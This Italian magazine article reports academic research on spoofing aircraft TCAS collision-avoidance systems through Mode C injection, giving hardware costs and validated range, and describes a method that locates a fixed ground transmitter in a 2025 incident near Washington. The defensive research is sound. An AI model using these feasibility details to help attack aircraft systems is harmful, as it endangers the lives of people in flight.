L’analisi geometrica delle distanze restituisce un esito controintuitivo: ogni aereo sembra avere il proprio intruso che si muove insieme a esso. Un oggetto in volo con tali caratteristiche sarebbe stato impossibile da non rilevare, sia strumentalmente sia visivamente. L’ipotesi più plausibile resta quindi quella di un trasmettitore fisso a terra che inietta contatti falsi tramite il Modo C.

Replicare l’attacco sul Modo C

Per verificare la fattibilità tecnica dell’ipotesi, i ricercatori hanno replicato l’attacco di iniezione sul Modo C, dove il ritardo fisso di riferimento scende a soli 3 microsecondi, contro i 128 del Modo S. Il modello SDR da 10.000 euro a quel punto non è più sufficiente: serve un’implementazione su RFSoC (FPGA, front end RF e CPU ARM/Linux), con un costo dell’ordine di 80.000-90.000 euro.

L’attacco è stato validato fino a una distanza massima di circa 2 chilometri e certificato con il test set avionico Aeroflex IFR6000, utilizzato in ambito industriale per la verifica dei TCAS reali.

Geolocalizzare il trasmettitore: il metodo Sequential Monte Carlo

Dimostrata la fattibilità tecnica, restava da capire se i dati pubblici dell’incidente DCA fossero compatibili con un trasmettitore fisso a terra e, in tal caso, dove fosse collocato.

I ricercatori hanno sviluppato un metodo probabilistico basato su Sequential Monte Carlo per stimare la posizione di un trasmettitore fisso a partire dalle osservazioni registrate. Il metodo è stato validato preventivamente su 300.000 scenari sintetici comparabili o superiori al caso DCA, con i seguenti risultati:

• Identificazione corretta della sorgente fissa nel 95% dei casi.
• Errore medio di circa 855 metri.
• Tempo di esecuzione medio di circa 8 secondi.
• Comportamento differenziale: se il trasmettitore è mobile, la distribuzione di probabilità non converge.

Il risultato sul caso DCA

Applicato ai dati reali dell’incidente del 1° marzo 2025, il metodo ha prodotto una distribuzione di probabilità stabile e coerente con l’ipotesi di una sorgente fissa a terra:

• Stima della sorgente a circa 890 metri dal centro dell’area ristretta P-56B.
• Probabilità del 94% che il trasmettitore si trovi all’interno dell’area ristretta.
• In 40 minuti, dopo due incontri, l’algoritmo avrebbe ristretto la sorgente a un’area di circa 4 km².

L’area P-56B coincide con lo U.S. Naval Observatory, residenza ufficiale del Vicepresidente degli Stati Uniti. Il risultato è pubblicato in Longo, Ratto, Merlo, Russo, «Unknown Target: Uncovering and Detecting Novel In-Flight Attacks to Collision Avoidance (TCAS)», nei proceedings del Network and Distributed System Security (NDSS) Symposium 2026.

Su questo punto Merlo è stato esplicito: «il rilevamento non equivale all’attestazione». I numeri pubblici indicano la compatibilità tecnica di un’origine fissa in una zona precisa, ma non costituiscono, di per sé, un’attribuzione formale dell’identità degli attaccanti.

Takeaway

L’intervento si è chiuso con alcune considerazioni di carattere sistemico sulla sicurezza dei sistemi cyber-fisici:

• L’isolamento dei sistemi critici, pur necessario, non è sufficiente a preservarli dagli attacchi cyber, soprattutto quando l’hardware d’attacco diventa accessibile a budget contenuti.
• La debolezza intrinseca di molti sistemi avionici e industriali deriva da norme e standard storicamente progettati senza integrare la cybersecurity.
• I cyber range e l’approccio multidisciplinare alla ricerca sono ormai imprescindibili per il cybersecurity testing di sistemi cyber-fisici, in cui la sperimentazione su asset reali è eticamente e operativamente impraticabile.
• Le implicazioni geopolitiche della detection vanno affrontate con cautela metodologica.
• Esiste un nodo irrisolto fra security e safety: a differenza di un attacco a un server, un attacco a un aereo in volo introduce un rischio diretto per le vite umane.
• I sistemi cyber-fisici poggiano su protocolli legacy: la protezione fisica non basta più, rendere «smart» un sistema spesso lo rende meno sicuro, e riprogettare tutto da zero non è un’opzione realistica.

Al di là del suo valore tecnico, il caso TCAS è un richiamo alla necessità di integrare la cybersecurity nei processi di standardizzazione internazionale, di investire in cyber range avionici e di formare giovani ricercatori capaci di operare alla frontiera fra security, safety e implicazioni geopolitiche. Come ha ricordato Merlo, la distanza fra un attacco a un server e un attacco a un aereo in volo non si misura più in termini di disponibilità di un servizio, ma in vite umane. Una soglia che impone a ricerca, industria e regolatori di muoversi insieme, e in fretta.

https://www.ictsecuritymagazine.com/articoli/breaking-tcas-sicurezza-aerea/